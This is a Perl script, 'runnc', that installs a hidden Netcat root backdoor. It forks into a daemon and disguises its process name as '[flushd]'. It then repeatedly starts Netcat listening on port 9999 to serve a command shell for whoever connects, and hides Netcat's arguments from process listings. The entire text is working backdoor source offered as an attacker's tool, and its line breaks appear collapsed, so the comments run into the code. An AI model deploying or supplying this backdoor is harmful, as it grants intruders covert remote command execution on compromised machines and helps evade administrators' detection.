#!/usr/bin/perl # # runnc - run Netcat root shell. # # Usage: # 'runnc -d' to be daemon, # 'runnc' to be Netcat helper program (pseudo shell.) use POSIX; $FAKENAME='[flushd]'; $ME = $0; # save actual process name $0 = $FAKENAME; # Hide process name # If we are launched by 'nc -e' we will be called with # no arguments, so act as the pseudo-shell, looping # through input allowing the hacker to run commands. unless ( @ARGV ) { $|=1; open STDERR, ">&STDOUT"; print "Welcome to your root shell.\n"; print "hackedbox# "; # Print prompt for grins while (<>) { chomp; system($_) && print "$!\n"; # Run shell command print "hackedbox# "; } exit; } # We're supposed to start as a daemon. chdir '/'; # redirect file descriptors open STDIN, '/dev/null'; open STDOUT, '>/dev/null'; open STDERR, '>&STDOUT'; # fork off and get owned by init. fork and exit; # dissociate from terminal setsid or die "Can't start a new session: $!"; do { print "Running Netcat\n"; # fork and run the Netcat program (hide its process name too.) unless (open NETCAT, "|-") { exec { "/home/bri/bin/nc" } $FAKENAME; exit; } else { # send it the command line args in stdin to hide from ps. print NETCAT "-l -p 9999 -e $ME"; close NETCAT; } wait; # wait for Netcat to complete. } while 1; # keep looping forever.